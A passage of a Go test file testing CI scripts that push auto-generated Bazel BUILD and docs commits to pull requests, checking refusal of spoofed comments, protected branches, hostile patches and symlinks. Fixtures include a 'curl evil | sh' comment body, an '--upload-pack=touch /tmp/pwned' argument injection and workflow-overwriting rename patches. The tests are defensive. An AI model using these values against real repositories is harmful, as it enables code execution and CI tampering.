(err=%v):\n%s\n--- patch ---\n%s", err, out, body) + } + }) + } +} + +// fakeGH writes a gh stand-in that serves canned API responses from env, +// applies --jq like gh does, and logs every call (with comment bodies) to +// $FAKE_GH_LOG. A call whose endpoint contains $FAKE_GH_FAIL fails. +func fakeGH(t *testing.T) string { + t.Helper() + requireHostTool(t, "jq") + bin := t.TempDir() + script := `#!/usr/bin/env bash +set -euo pipefail +echo "gh $*" >> "$FAKE_GH_LOG" +method=GET jq_expr="" path="" +while [ $# -gt 0 ]; do + case "$1" in + api | --paginate) ;; + --method) method="$2"; shift ;; + --jq) jq_expr="$2"; shift ;; + -F | -f) + case "$2" in body=@*) { echo "--- body"; cat "${2#body=@}"; } >> "$FAKE_GH_LOG" ;; esac + shift ;; + *) path="$1" ;; + esac + shift +done +if [ -n "${FAKE_GH_FAIL:-}" ] && [[ "$path" == *"$FAKE_GH_FAIL"* ]]; then + echo "gh: HTTP 500" >&2 + exit 1 +fi +out='{}' +case "$method $path" in + "GET "*"/pulls?state=open"*) out="$FAKE_PULLS" ;; + "GET "*/commits/*) out="$(jq -n --arg m "${FAKE_HEAD_MSG:-feat: add a file}" '{commit: {message: $m}}')" ;; + "GET "*/comments) out="${FAKE_COMMENTS:-[]}" ;; + "GET "*/rules/branches/*) out="${FAKE_RULES:-[]}" ;; + "GET "*/branches/*) out="${FAKE_BRANCH:-}"; [ -n "$out" ] || out='{"protected": false}' ;; +esac +if [ -n "$jq_expr" ]; then + printf '%s' "$out" | jq -r "$jq_expr" +else + printf '%s' "$out" +fi +` + if err := os.WriteFile(filepath.Join(bin, "gh"), []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return bin +} + +type autofixFlowResult struct { + out, log, remote string + head, branch string + err error +} + +type autofixFlow struct { + script string // repo-relative, or absolute for a modified copy + headRepo string + branch string + headSHA string // PR head (defaults to r.head) + remoteAt string // where the remote branch points (defaults to headSHA) + patch string + baseRepo string // the PR's base repo in the pulls listing + pulls string // open-PR listing (defaults to PR #7 for this head) + env []string +} + +func (r *autofixRepo) runFlow(t *testing.T, f autofixFlow) autofixFlowResult { + t.Helper() + if f.headRepo == "" { + f.headRepo = "owner/beads" + } + if f.branch == "" { + f.branch = "feature/x" + } + if f.headSHA == "" { + f.headSHA = r.head + } + if f.remoteAt == "" { + f.remoteAt = f.headSHA + } + if f.baseRepo == "" { + f.baseRepo = "owner/beads" + } + script := f.script + if !filepath.IsAbs(script) { + script = filepath.Join(sourceRepoRoot(t), script) + } + github := t.TempDir() + remote := filepath.Join(github, "owner", "beads.git") + r.run("clone", "-q", "--bare", r.dir, remote) + r.run("--git-dir="+remote, "branch", "-f", "main", r.base) + r.run("--git-dir="+remote, "branch", "-f", f.branch, f.remoteAt) + gitconfig := filepath.Join(t.TempDir(), "gitconfig") + if err := os.WriteFile(gitconfig, []byte("[url \"file://"+github+"/\"]\n\tinsteadOf = https://github.com/\n"+ + "[uploadpack]\n\tallowFilter = true\n[protocol \"file\"]\n\tallow = always\n"), 0o644); err != nil { + t.Fatal(err) + } + log := filepath.Join(t.TempDir(), "gh.log") + pulls := f.pulls + if pulls == "" { + pulls = "[" + pullJSON(7, f.branch, f.headSHA, f.headRepo, "main", f.baseRepo) + "]" + } + cmd := exec.Command("bash", script) + cmd.Dir = t.TempDir() + cmd.Env = append([]string{ + "PATH=" + fakeGH(t) + string(os.PathListSeparator) + os.Getenv("PATH"), + "HOME=" + t.TempDir(), + "GIT_CONFIG_GLOBAL=" + gitconfig, "GIT_CONFIG_NOSYSTEM=1", + "FAKE_GH_LOG=" + log, "FAKE_PULLS=" + pulls, + "BASE_REPO=owner/beads", "HEAD_REPO=" + f.headRepo, "HEAD_BRANCH=" + f.branch, "HEAD_SHA=" + f.headSHA, + "PATCH_FILE=" + f.patch, "RUN_ID=42", "RUN_URL=https://github.com/owner/beads/actions/runs/42", + "GH_TOKEN=api-token", "PUSH_TOKEN=push-token", + }, f.env...) + out, err := cmd.CombinedOutput() + logBody, _ := os.ReadFile(log) + head := strings.TrimSpace(r.run("--git-dir="+remote, "rev-parse", f.branch)) + return autofixFlowResult{out: string(out), log: string(logBody), remote: remote, head: head, branch: f.branch, err: err} +} + +func pullJSON(number int, branch, sha, headRepo, baseRef, baseRepo string) string { + return fmt.Sprintf(`{"number":%d,"head":{"ref":%q,"sha":%q,"repo":{"full_name":%q}},"base":{"ref":%q,"repo":{"full_name":%q}}}`, + number, branch, sha, headRepo, baseRef, baseRepo) +} + +// scriptWith copies script with each old (which must occur exactly once) +// replaced by its new, so a test can switch one layer off and exercise the +// next one alone. +func scriptWith(t *testing.T, script string, oldNew ...string) string { + t.Helper() + body := readPolicyFile(t, sourceRepoRoot(t), script) + for i := 0; i+1 < len(oldNew); i += 2 { + if n := strings.Count(body, oldNew[i]); n != 1 { + t.Fatalf("%s: want exactly one %q, got %d", script, oldNew[i], n) + } + body = strings.Replace(body, oldNew[i], oldNew[i+1], 1) + } + copyPath := filepath.Join(t.TempDir(), filepath.Base(script)) + if err := os.WriteFile(copyPath, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + return copyPath +} + +// withoutValidator copies script with its up-front validate_patch call +// disabled, so a flow test exercises the post-apply staged check alone. +func withoutValidator(t *testing.T, script string) string { + t.Helper() + return scriptWith(t, script, "\nvalidate_patch \"$PATCH_FILE\"\n", "\n: skipped validate_patch\n") +} + +// summaryOnly copies script with the header greps of validate_patch +// switched off, so --check exercises `git apply --summary` (then numstat). +func summaryOnly(t *testing.T, script string) string { + t.Helper() + return scriptWith(t, script, + `if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then`, "if false; then", + `if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then`, "if false; then", + `if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then`, "if false; then") +} + +func TestBazelAutofixPushFlow(t *testing.T) { + r := newBazelAutofixRepo(t) + good := r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") + r.write("internal/newpkg/BUILD.bazel", "go_library(name = \"newpkg\")\n") + }) + flow := func(f autofixFlow) autofixFlow { + f.script = bazelAutofixPushScript + if f.patch == "" { + f.patch = good + } + return f + } + unchanged := func(t *testing.T, res autofixFlowResult, want string) { + t.Helper() + if res.head != r.head { + t.Errorf("branch moved to %s; want no push\n%s\n%s", res.head, res.out, res.log) + } + if want != "" && !strings.Contains(res.log+res.out, want) { + t.Errorf("want %q in output or comment:\n%s\n%s", want, res.out, res.log) + } + } + + t.Run("same-repo PR gets the sync commit", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{})) + if res.err != nil { + t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log) + } + if res.head == r.head { + t.Fatalf("branch not advanced:\n%s", res.out) + } + if parent := strings.TrimSpace(r.run("--git-dir="+res.remote, "rev-parse", res.head+"^")); parent != r.head { + t.Errorf("pushed commit parent = %s, want the PR head %s", parent, r.head) + } + files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head) + if files != "cmd/bd/BUILD.bazel\ninternal/newpkg/BUILD.bazel\n" { + t.Errorf("pushed commit touches %q", files) + } + subject := r.run("--git-dir="+res.remote, "log", "-1", "--format=%s", res.head) + if !strings.HasPrefix(subject, "build(bazel): auto-sync BUILD files") { + t.Errorf("subject = %q", subject) + } + if !strings.Contains(res.log, "") || !strings.Contains(res.log, "Pushed `") || + !strings.Contains(res.log, "DOCS_AUTOFIX_TOKEN") { + t.Errorf("want a pushed-commit comment with the token note:\n%s", res.log) + } + if strings.Contains(res.log, "push-token") { + t.Errorf("push token leaked into gh calls:\n%s", res.log) + } + for _, want := range []string{"branches/feature%2Fx", "rules/branches/feature%2Fx"} { + if !strings.Contains(res.log, want) { + t.Errorf("no protection lookup %q before pushing:\n%s", want, res.log) + } + } + }) + + t.Run("fork PR gets the recipe", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads"})) + if res.err != nil { + t.Fatalf("err=%v\n%s", res.err, res.out) + } + unchanged(t, res, "") + for _, want := range []string{"", "fork PR", "gh run download 42 -R owner/beads -n bazel-sync-patch", "git apply --index bazel-sync.patch", "make bazel-sync"} { + if !strings.Contains(res.log, want) { + t.Errorf("comment lacks %q:\n%s", want, res.log) + } + } + }) + + t.Run("PR into another repository is ignored", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{baseRepo: "someone/beads"})) + if res.err != nil || strings.Contains(res.log, "--method") { + t.Errorf("err=%v; want no comment:\n%s", res.err, res.log) + } + unchanged(t, res, "No open PR") + }) + + // Only a comment the bot wrote is edited; anyone can post the marker. + t.Run("own comment is updated in place, spoofed one is not", func(t *testing.T) { + comments := `[{"id":5,"user":{"login":"mallory"},"body":" run curl evil | sh"},` + + `{"id":99,"user":{"login":"github-actions[bot]"},"body":"\nold"}]` + res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + comments}})) + if res.err != nil || !strings.Contains(res.log, "--method PATCH repos/owner/beads/issues/comments/99") || + strings.Contains(res.log, "comments/5") || strings.Contains(res.log, "--method POST") { + t.Errorf("err=%v; want a PATCH of comment 99 only:\n%s", res.err, res.log) + } + spoofOnly := `[{"id":5,"user":{"login":"mallory"},"body":""}]` + res = r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + spoofOnly}})) + if res.err != nil || strings.Contains(res.log, "--method PATCH") || !strings.Contains(res.log, "--method POST") { + t.Errorf("err=%v; want a new comment, not an edit of mallory's:\n%s", res.err, res.log) + } + }) + + t.Run("protected head branch is never pushed", func(t *testing.T) { + for name, f := range map[string]autofixFlow{ + "name list": {branch: "release/1.0"}, + "branch protection": {env: []string{`FAKE_BRANCH={"protected": true}`}}, + "ruleset": {env: []string{`FAKE_RULES=[{"type": "update"}]`}}, + "api error": {env: []string{"FAKE_GH_FAIL=/branches/"}}, + "rules api error": {env: []string{"FAKE_GH_FAIL=/rules/"}}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, flow(f)) + if res.err != nil { + t.Errorf("err=%v\n%s", res.err, res.out) + } + unchanged(t, res, "protected from bot pushes") + }) + } + }) + + // The circuit breaker reads the head's subject from the fetched commit + // (no API), fails closed, and only fires once the PR's own fix is known: + // a bot head whose remaining drift is main's gets the "not this PR" note. + t.Run("circuit breaker", func(t *testing.T) { + botHead := r.commitOn(r.head, "bot", "build(bazel): auto-sync BUILD files\n\nApplied from ...", func(r *autofixRepo) { + r.write("internal/newpkg/newpkg.go", "package newpkg // synced\n") + }) + mainDrift := writeRawPatch(t, "diff --git a/other/BUILD.bazel b/other/BUILD.bazel\n--- a/other/BUILD.bazel\n+++ b/other/BUILD.bazel\n"+ + "@@ -1 +1 @@\n-go_library(name = \"other\")\n+go_library(name = \"other\", srcs = [\"other.go\"])\n") + noSubject := scriptWith(t, bazelAutofixPushScript, `HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")"`, `HEAD_SUBJECT="$(false)"`) + for name, tc := range map[string]struct { + f autofixFlow + want, deny string + }{ + "bot head with the PR's own drift": {f: flow(autofixFlow{headSHA: botHead}), want: "previous auto-fix commit did not fix this PR's own files", deny: "files this PR did not change"}, + "bot head with main's drift only": {f: flow(autofixFlow{headSHA: botHead, patch: mainDrift}), want: "files this PR did not change", deny: "did not fix"}, + "subject unreadable": {f: autofixFlow{script: noSubject, patch: good}, want: "previous auto-fix commit did not fix", deny: "Pushed `"}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, tc.f) + if res.err != nil { + t.Errorf("err=%v", res.err) + } + if res.head != tc.f.headSHA && !(tc.f.headSHA == "" && res.head == r.head) { + t.Errorf("branch moved to %s; want no push\n%s", res.head, res.out) + } + if !strings.Contains(res.log, tc.want) || strings.Contains(res.log, tc.deny) { + t.Errorf("want a comment with %q and without %q:\n%s\n%s", tc.want, tc.deny, res.out, res.log) + } + if strings.Contains(res.log, "/commits/") { + t.Errorf("head subject read through the API:\n%s", res.log) + } + }) + } + }) + + // One head branch can back several open PRs; the artifact's PR number + // picks among the ones that match the event, and without it the bot does + // not guess. + t.Run("PR selection", func(t *testing.T) { + two := "[" + pullJSON(7, "feature/x", r.head, "someone/beads", "main", "owner/beads") + "," + + pullJSON(8, "feature/x", r.head, "someone/beads", "release/x", "owner/beads") + "]" + metaFor := func(pr string) string { + meta := filepath.Join(t.TempDir(), "bazel-sync-meta.txt") + if err := os.WriteFile(meta, []byte("pr="+pr+"\nhead_sha="+r.head+"\n"), 0o644); err != nil { + t.Fatal(err) + } + return meta + } + for name, tc := range map[string]struct { + meta, want string + comment bool + }{ + "ambiguous without metadata": {want: "2 open PRs use someone/beads:feature/x"}, + "metadata picks the second PR": {meta: "8", want: "issues/8/comments", comment: true}, + "metadata picks the first PR": {meta: "7", want: "issues/7/comments", comment: true}, + "metadata names no matching PR": {meta: "9", want: "numbered #9"}, + } { + t.Run(name, func(t *testing.T) { + f := flow(autofixFlow{headRepo: "someone/beads", pulls: two}) + if tc.meta != "" { + f.env = []string{"META_FILE=" + metaFor(tc.meta)} + } + res := r.runFlow(t, f) + if res.err != nil || !strings.Contains(res.out+res.log, tc.want) { + t.Errorf("err=%v; want %q:\n%s\n%s", res.err, tc.want, res.out, res.log) + } + if got := strings.Contains(res.log, "--method"); got != tc.comment { + t.Errorf("commented=%v, want %v:\n%s", got, tc.comment, res.log) + } + unchanged(t, res, "") + }) + } + }) + + // HEAD_SHA reaches git as a revision: anything but a full commit id is + // refused before the patch, the API or git sees it. + t.Run("HEAD_SHA must be 40 hex", func(t *testing.T) { + for _, bad := range []string{"HEAD", r.head[:12], strings.ToUpper(r.head), "--upload-pack=touch /tmp/pwned", r.head + "\n", r.head + "0"} { + res := r.runFlow(t, flow(autofixFlow{env: []string{"HEAD_SHA=" + bad}})) + if res.err == nil || !strings.Contains(res.out, "HEAD_SHA is not a commit id") || res.log != "" { + t.Errorf("HEAD_SHA=%q: err=%v gh log=%q\n%s", bad, res.err, res.log, res.out) + } + unchanged(t, res, "") + } + }) + + t.Run("metadata for another head vetoes", func(t *testing.T) { + meta := filepath.Join(t.TempDir(), "bazel-sync-meta.txt") + if err := os.WriteFile(meta, []byte("pr=7\nhead_sha="+strings.Repeat("a", 40)+"\n"), 0o644); err != nil { + t.Fatal(err) + } + res := r.runFlow(t, flow(autofixFlow{env: []string{"META_FILE=" + meta}})) + if res.err != nil || res.log != "" { + t.Errorf("err=%v gh log=%q\n%s", res.err, res.log, res.out) + } + unchanged(t, res, "") + }) + + t.Run("hostile patch fails before any API call", func(t *testing.T) { + evil := r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }) + res := r.runFlow(t, flow(autofixFlow{patch: evil})) + if res.err == nil || res.log != "" || !strings.Contains(res.out, "REFUSED") { + t.Errorf("err=%v gh log=%q\n%s", res.err, res.log, res.out) + } + unchanged(t, res, "") + }) + + // The reviewer's bypasses, with the up-front validator switched off: the + // post-apply staged check alone still refuses them. + t.Run("staged check alone refuses renames", func(t *testing.T) { + noValidator := withoutValidator(t, bazelAutofixPushScript) + for name, patch := range map[string]string{ + "legacy rename old/new": writeRawPatch(t, "diff --git a/.github/workflows/ci.yml b/internal/newpkg/BUILD.bazel\n"+ + "rename old .github/workflows/ci.yml\nrename new internal/newpkg/BUILD.bazel\n"), + "rename from/to": writeRawPatch(t, "diff --git a/scripts/tool.sh b/internal/newpkg/BUILD.bazel\n"+ + "rename from scripts/tool.sh\nrename to internal/newpkg/BUILD.bazel\n"), + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, autofixFlow{script: noValidator, patch: patch}) + if res.err == nil && res.head != r.head { + t.Fatalf("hostile rename pushed:\n%s", res.out) + } + unchanged(t, res, "REFUSED: staged change") + }) + } + // A mode change on an allowlisted file passes the path check; only the + // mode arm of check_staged stops it. + mode := r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "cmd/bd/BUILD.bazel"), 0o755); err != nil { + t.Fatal(err) + } + }) + res := r.runFlow(t, autofixFlow{script: noValidator, patch: mode}) + if res.err == nil { + t.Errorf("mode change not refused:\n%s", res.out) + } + unchanged(t, res, "REFUSED: staged change is not a regular-file edit") + }) + + // bazel.yml builds the PR merge commit, so main's own drift is in every + // PR's patch. It must never be pushed onto a PR that did not cause it. + t.Run("base-branch drift is not pushed to an unrelated PR", func(t *testing.T) { + drift := r.patch(func() { + r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n") + r.write("MODULE.bazel.lock", "{\"main\": 1}\n") + }) + res := r.runFlow(t, flow(autofixFlow{patch: drift})) + if res.err != nil { + t.Fatalf("err=%v\n%s", res.err, res.out) + } + unchanged(t, res, "files this PR did not change") + }) + + t.Run("mixed drift pushes only the PR's packages", func(t *testing.T) { + mixed := r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") + r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n") + r.write("MODULE.bazel.lock", "{\"main\": 1}\n") + }) + res := r.runFlow(t, flow(autofixFlow{patch: mixed})) + if res.err != nil || res.head == r.head { + t.Fatalf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.out) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head); files != "cmd/bd/BUILD.bazel\n" { + t.Errorf("pushed commit touches %q, want only cmd/bd/BUILD.bazel", files) + } + if !strings.Contains(res.log, "other/BUILD.bazel") || !strings.Contains(res.log, "MODULE.bazel.lock") { + t.Errorf("comment does not list the files left alone:\n%s", res.log) + } + }) + + // Every path outside a package walks up to the root; only root-level Go + // and build inputs make root BUILD.bazel drift the PR's. + t.Run("root package attribution", func(t *testing.T) { + rootDrift := r.patch(func() { + r.write("BUILD.bazel", "# root\ngo_library(name = \"beads\")\n") + r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n") + }) + for name, edit := range map[string]func(r *autofixRepo){ + "docs only": func(r *autofixRepo) { r.write("docs/guide.md", "# guide v2\n") }, + "README only": func(r *autofixRepo) { r.write("README.md", "# beads v2\n") }, + "workflow only": func(r *autofixRepo) { r.write(".github/workflows/ci.yml", "name: CI2\n") }, + "new docs tree": func(r *autofixRepo) { r.write("docs/new/page.md", "# new\n") }, + "non-Go at root": func(r *autofixRepo) { r.write("Makefile", "all:\n") }, + } { + t.Run(name, func(t *testing.T) { + head := r.commitOn(r.base, "root-"+strings.ReplaceAll(name, " ", "-"), name, edit) + // rootDrift touches only files this head shares with r.head. + res := r.runFlow(t, flow(autofixFlow{headSHA: head, patch: rootDrift})) + if res.err != nil || res.head != head { + t.Fatalf("err=%v; pushed main's root drift onto a %s PR:\n%s\n%s", res.err, name, res.out, res.log) + } + if !strings.Contains(res.log, "files this PR did not change") { + t.Errorf("want the not-this-PR comment:\n%s\n%s", res.out, res.log) + } + }) + } + goHead := r.commitOn(r.base, "root-go", "root go", func(r *autofixRepo) { r.write("beads.go", "package beads // v2\n") }) + res := r.runFlow(t, flow(autofixFlow{headSHA: goHead, patch: rootDrift})) + if res.err != nil || res.head == goHead { + t.Fatalf("err=%v; root Go change did not get its root BUILD.bazel:\n%s\n%s", res.err, res.out, res.log) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", goHead, res.head); files != "BUILD.bazel\n" { + t.Errorf("pushed commit touches %q, want only BUILD.bazel", files) + } + }) + + t.Run("module files are pushed when the PR changed go.mod", func(t *testing.T) { + gomod := r.variant("gomod", func(r *autofixRepo) { r.write("go.mod", "module example.com/beads\n\nrequire x v1\n") }) + lock := writeRawPatch(t, "diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock\nindex 0967ef4..ab1ba8b 100644\n--- a/MODULE.bazel.lock\n+++ b/MODULE.bazel.lock\n@@ -1 +1 @@\n-{}\n+{\"x\": 1}\n") + res := r.runFlow(t, flow(autofixFlow{headSHA: gomod, patch: lock})) + if res.err != nil || res.head == gomod { + t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", gomod, res.head); files != "MODULE.bazel.lock\n" { + t.Errorf("pushed commit touches %q", files) + } + }) + + // The branch was force-pushed back to an ancestor after the run: a plain + // push would fast-forward and resurrect the dropped head. + t.Run("push is leased to the run's head", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{remoteAt: r.base})) + if res.err != nil { + t.Fatalf("err=%v\n%s", res.err, res.out) + } + if res.head != r.base { + t.Errorf("branch = %s, want it left at %s (lease should refuse)", res.head, r.base) + } + if !strings.Contains(res.log, "pushing the fix to feature/x failed") { + t.Errorf("want the push-failed recipe:\n%s\n%s", res.out, res.log) + } + }) + + // A PR head with symlinks at or above an allowlisted path: nothing is + // written to disk, and git refuses to stage through the link. + t.Run("symlinked PR tree", func(t *testing.T) { + symDir := r.variant("symdir", func(r *autofixRepo) { + r.run("rm", "-rq", "internal/newpkg") + if err := os.MkdirAll(filepath.Join(r.dir, "internal"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink("../.github/workflows", filepath.Join(r.dir, "internal", "newpkg")); err != nil { + t.Fatal(err) + } + // Sync tooling change: every patch file counts as the PR's, so + // only git's own guard stands between the patch and the link. + r.write("tools/bazel/go_srcs.py", "# touched\n") + }) + symFile := r.variant("symfile", func(r *autofixRepo) { + r.run("rm", "-q", "cmd/bd/BUILD.bazel") + if err := os.Symlink("../../.github/workflows/ci.yml", filepath.Join(r.dir, "cmd", "bd", "BUILD.bazel")); err != nil { + t.Fatal(err) + } + }) + newInLink := writeRawPatch(t, "diff --git a/internal/newpkg/BUILD.bazel b/internal/newpkg/BUILD.bazel\n"+ + "new file mode 100644\nindex 0000000..9daeafb\n--- /dev/null\n+++ b/internal/newpkg/BUILD.bazel\n@@ -0,0 +1 @@\n+test\n") + editLink := r.patch(func() { r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") }) + for name, f := range map[string]autofixFlow{ + "new file under a symlinked dir": {headSHA: symDir, patch: newInLink}, + "edit of a symlinked file": {headSHA: symFile, patch: editLink}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, flow(f)) + if res.head != f.headSHA { + t.Fatalf("pushed through a symlink (err=%v):\n%s", res.err, res.out) + } + if !strings.Contains(res.log, "no longer applies cleanly") { + t.Errorf("want the does-not-apply recipe:\n%s\n%s", res.out, res.log) + } + }) + } + }) +} + +func TestDocsAutofixPushFlow(t *testing.T) { + r := newDocsAutofixRepo(t) + good := r.patch(func() { + r.write("docs/CLI_REFERENCE.md", "# CLI\n\nnew flag\n") + r.write("docs/cli-reference/bd-new.md", "# new\n") + }) + flow := func(f autofixFlow) autofixFlow { + f.script = docsAutofixPushScript + if f.patch == "" { + f.patch = good + } + return f + } + + t.Run("same-repo PR gets the regen commit", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{})) + if res.err != nil || res.head == r.head { + t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head); files != "docs/CLI_REFERENCE.md\ndocs/cli-reference/bd-new.md\n" { + t.Errorf("pushed commit touches %q", files) + } + if !strings.Contains(res.log, "") || !strings.Contains(res.log, "Pushed `") { + t.Errorf("want a pushed-commit comment:\n%s", res.log) + } + }) + + // The reviewer's bypass, which pushed "docs: auto-regenerate CLI + // reference" renaming scripts.sh on main: refused up front now, and by + // the staged check alone. + rename := r.patch(func() { r.run("mv", "scripts.sh", "docs/cli-reference/x.md") }) + legacy := writeRawPatch(t, "diff --git a/scripts.sh b/docs/cli-reference/x.md\nrename old scripts.sh\nrename new docs/cli-reference/x.md\n") + for name, script := range map[string]string{"validator": docsAutofixPushScript, "staged check alone": withoutValidator(t, docsAutofixPushScript)} { + for pname, patch := range map[string]string{"rename": rename, "legacy rename": legacy} { + t.Run(name+"/"+pname, func(t *testing.T) { + res := r.runFlow(t, autofixFlow{script: script, patch: patch}) + if res.err == nil || res.head != r.head || !strings.Contains(res.out, "REFUSED") { + t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != r.head, res.out, res.log) + } + }) + } + } + + t.Run("spoofed comment is not edited", func(t *testing.T) { + spoof := `[{"id":5,"user":{"login":"mallory"},"body":""}]` + res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + spoof}})) + if res.err != nil || strings.Contains(res.log, "--method PATCH") || !strings.Contains(res.log, "--method POST") { + t.Errorf("err=%v:\n%s", res.err, res.log) + } + }) + + t.Run("protected head branch is never pushed", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{env: []string{`FAKE_RULES=[{"type": "update"}]`}})) + if res.err != nil || res.head != r.head || !strings.Contains(res.log, "protected from bot pushes") { + t.Errorf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.log) + } + }) + + t.Run("push is leased to the run's head", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{remoteAt: r.base})) + if res.err != nil || res.head != r.base || !strings.Contains(res.log, "failed") { + t.Errorf("err=%v head=%s\n%s\n%s", res.err, res.head, res.out, res.log) + } + }) + + t.Run("staged check alone refuses a mode change", func(t *testing.T) { + mode := r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "docs/docs.json"), 0o755); err != nil { + t.Fatal(err) + } + }) + res := r.runFlow(t, autofixFlow{script: withoutValidator(t, docsAutofixPushScript), patch: mode}) + if res.err == nil || res.head != r.head || !strings.Contains(res.out, "REFUSED: staged change is not a regular-file edit") { + t.Errorf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.out) + } + }) + + t.Run("circuit breaker reads the fetched commit and fails closed", func(t *testing.T) { + botHead := r.commitOn(r.head, "docs-bot", "docs: auto-regenerate CLI reference", func(r *autofixRepo) { + r.write("docs/docs.json", "{\"regen\": 1}\n") + }) + noSubject := scriptWith(t, docsAutofixPushScript, `HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")"`, `HEAD_SUBJECT="$(false)"`) + for name, f := range map[string]autofixFlow{ + "bot head": flow(autofixFlow{headSHA: botHead}), + "subject unreadable": {script: noSubject, patch: good, headSHA: r.head}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, f) + if res.err != nil || res.head != f.headSHA || !strings.Contains(res.log, "previous auto-regeneration commit left the docs stale") { + t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != f.headSHA, res.out, res.log) + } + if strings.Contains(res.log, "/commits/") { + t.Errorf("head subject read through the API:\n%s", res.log) + } + }) + } + }) + + t.Run("ambiguous PR is skipped", func(t *testing.T) { + two := "[" + pullJSON(7, "feature/x", r.head, "owner/beads", "main", "owner/beads") + "," + + pullJSON(8, "feature/x", r.head, "owner/beads", "release/x", "owner/beads") + "]" + res := r.runFlow(t, flow(autofixFlow{pulls: two})) + if res.err != nil || res.head != r.head || strings.Contains(res.log, "--method") || !strings.Contains(res.out, "not guessing") { + t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != r.head, res.out, res.log) + } + }) + + t.Run("HEAD_SHA must be 40 hex", func(t *testing.T) { + for _, bad := range []string{"HEAD", r.head[:12], strings.ToUpper(r.head), "--upload-pack=touch /tmp/pwned"} { + res := r.runFlow(t, flow(autofixFlow{env: []string{"HEAD_SHA=" + bad}})) + if res.err == nil || !strings.Contains(res.out, "HEAD_SHA is not a commit id") || res.log != "" || res.head != r.head { + t.Errorf("HEAD_SHA=%q: err=%v gh log=%q\n%s", bad, res.err, res.log, res.out) + } + } + }) +} + +// git apply --summary is the validator's third layer: with the header greps +// switched off, it alone refuses every rename, copy, mode change and +// non-100644 creation (an allowlisted target keeps numstat quiet). A mode on +// a plain "index A..B MODE" line is not a change, so --summary does not list +// it; the index grep and check_staged cover that shape. +func TestAutofixPushSummaryLayer(t *testing.T) { + for script, target := range map[string]string{ + bazelAutofixPushScript: "foo/BUILD.bazel", + docsAutofixPushScript: "docs/cli-reference/x.md", + } { + t.Run(filepath.Base(script), func(t *testing.T) { + dir := t.TempDir() + copyPath := summaryOnly(t, script) + hunk := "--- a/" + target + "\n+++ b/" + target + "\n@@ -1 +1 @@\n-x\n+y\n" + for name, body := range map[string]string{ + "rename": "diff --git a/scripts.sh b/" + target + "\nsimilarity index 90%\nrename from scripts.sh\nrename to " + target + "\n", + "legacy rename": "diff --git a/scripts.sh b/" + target + "\nrename old scripts.sh\nrename new " + target + "\n", + "copy": "diff --git a/scripts.sh b/" + target + "\ncopy from scripts.sh\ncopy to " + target + "\n", + "mode change": "diff --git a/" + target + " b/" + target + "\nold mode 100644\nnew mode 100755\n", + "mode with hunk": "diff --git a/" + target + " b/" + target + "\nold mode 100644\nnew mode 100755\nindex 1234567..89abcde\n" + hunk, + "executable file": "diff --git a/" + target + " b/" + target + "\nnew file mode 100755\nindex 0000000..e69de29\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+x\n", + "symlink": "diff --git a/" + target + " b/" + target + "\nnew file mode 120000\nindex 0000000..1234567\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+../scripts.sh\n\\ No newline at end of file\n", + "delete symlink": "diff --git a/" + target + " b/" + target + "\ndeleted file mode 120000\nindex 1234567..0000000\n--- a/" + target + "\n+++ /dev/null\n@@ -1 +0,0 @@\n-../scripts.sh\n\\ No newline at end of file\n", + } { + t.Run(name, func(t *testing.T) { + out, err := 